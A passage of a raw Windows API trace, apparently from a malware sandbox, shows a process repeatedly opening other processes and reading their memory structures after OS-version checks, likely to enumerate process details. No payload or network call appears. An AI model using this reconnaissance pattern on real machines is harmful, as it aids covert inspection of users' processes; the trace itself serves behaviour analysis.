lpBaseAddress=0x5a18f8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0199.839] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0199.840] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0199.840] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2e8020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0199.841] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5a12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0199.841] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.841] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5a1938, lpBuffer=0x20abc27cb20, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0199.842] free (_Block=0x20abc27cb20) [0199.842] CloseHandle (hObject=0x458) returned 1 [0199.843] _ui64tow_s (in: _Value=0xee8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3816") returned 0x0 [0199.847] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3816") returned 4 [0199.849] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.849] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0199.863] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee8) returned 0x458 [0199.863] GetLastError () returned 0x0 [0199.863] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0199.863] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x36e018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0199.863] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0199.863] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x511cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0199.863] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5118f8, lpBuffer=0x2dc24fc2d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0199.864] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0199.865] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0199.865] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x36e020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0199.865] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5112e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0199.865] malloc (_Size=0x6a) returned 0x20abc2831b0 [0199.865] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x51195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0199.866] free (_Block=0x20abc2831b0) [0199.867] CloseHandle (hObject=0x458) returned 1 [0199.867] _ui64tow_s (in: _Value=0xef0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3824") returned 0x0 [0199.871] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3824") returned 4 [0199.872] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.872] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0200.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef0) returned 0x458 [0200.042] GetLastError () returned 0x0 [0200.042] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0200.042] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3e4018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0200.042] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0200.043] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4e1cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0200.043] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0200.044] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0200.045] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0200.045] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3e4020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0200.045] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0200.045] malloc (_Size=0x6a) returned 0x20abc2831b0 [0200.045] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4e195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0200.046] free (_Block=0x20abc2831b0) [0200.046] CloseHandle (hObject=0x458) returned 1 [0200.047] _ui64tow_s (in: _Value=0xf00, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3840") returned 0x0 [0200.050] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3840") returned 4 [0200.051] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0200.051] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0200.064] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf00) returned 0x458 [0200.064] GetLastError () returned 0x0 [0200.064] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0200.064] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x323018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0200.065] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0200.065] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4c1d20, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0200.065] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4c18f8, lpBuffer=0x2dc24fc2d0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0200.066] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0200.067] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0200.067] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x323020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0200.067] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4c12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0200.067] malloc (_Size=0x82) returned 0x20abc286890 [0200.067] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4c1972, lpBuffer=0x20abc286890, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0200.068] free (_Block=0x20abc286890) [0200.068] CloseHandle (hObject=0x458) returned 1 [0200.069] _ui64tow_s (in: _Value=0xf08, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3848") returned 0x0 [0200.072] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3848") returned 4 [0200.073] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0200.073] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0200.274] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf08) returned 0x458 [0200.274] GetLastError () returned 0x0 [0200.274] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0200.274] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x311018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0200.274] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0200.275] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5f1ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0200.275] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5f18f8, lpBuffer=0x2dc24fc2d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0200.276] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0200.277] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0200.277] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x311020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0200.277] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5f12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0200.277] malloc (_Size=0x6e) returned 0x20abc2831b0 [0200.277] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5f195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0200.278] free (_Block=0x20abc2831b0) [0200.278] CloseHandle (hObject=0x458) returned 1 [0200.279] _ui64tow_s (in: _Value=0xf1c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3868") returned 0x0 [0200.282] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3868") returned 4 [0200.283] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0200.283] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0200.296] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf1c) returned 0x458 [0200.296] GetLastError () returned 0x0 [0200.296] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0200.296] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x29c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0200.297] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0200.297] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c1cc0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0200.297] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc24fc2d0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0200.298] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0200.299] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0200.299] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x29c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0200.299] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0200.299] malloc (_Size=0x62) returned 0x20abc2807d0 [0200.299] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c1952, lpBuffer=0x20abc2807d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0200.300] free (_Block=0x20abc2807d0) [0200.300] CloseHandle (hObject=0x458) returned 1 [0200.301] _ui64tow_s (in: _Value=0xf24, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3876") returned 0x0 [0200.304] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3876") returned 4 [0200.305] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0200.305] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0200.515] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf24) returned 0x458 [0200.515] GetLastError () returned 0x0 [0200.515] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0200.515] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x369018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0200.515] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0200.515] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c1cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0200.516] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc24fc2d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0200.517] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0200.518] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0200.518] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x369020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0200.518] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0200.518] malloc (_Size=0x68) returned 0x20abc280370 [0200.518] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c1958, lpBuffer=0x20abc280370, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280370*, lpNumberOfBytesRead=0x0) returned 1 [0200.519] free (_Block=0x20abc280370) [0200.519] CloseHandle (hObject=0x458) returned 1 [0200.520] _ui64tow_s (in: _Value=0xf30, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3888") returned 0x0 [0200.524] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3888") returned 4 [0200.525] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0200.525] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0200.538] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf30) returned 0x458 [0200.538] GetLastError () returned 0x0 [0200.538] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0200.538] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x39e018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0200.539] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0200.539] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4a1d10, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0200.539] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4a18f8, lpBuffer=0x2dc24fc2d0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0200.540] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0200.541] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0200.541] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x39e020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0200.541] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4a12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0200.541] malloc (_Size=0x7c) returned 0x20abc286890 [0200.541] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4a196c, lpBuffer=0x20abc286890, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0200.542] free (_Block=0x20abc286890) [0200.544] CloseHandle (hObject=0x458) returned 1 [0200.545] _ui64tow_s (in: _Value=0xf40, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3904") returned 0x0 [0200.833] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3904") returned 4 [0200.833] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0200.833] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0200.846] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf40) returned 0x458 [0200.846] GetLastError () returned 0x0 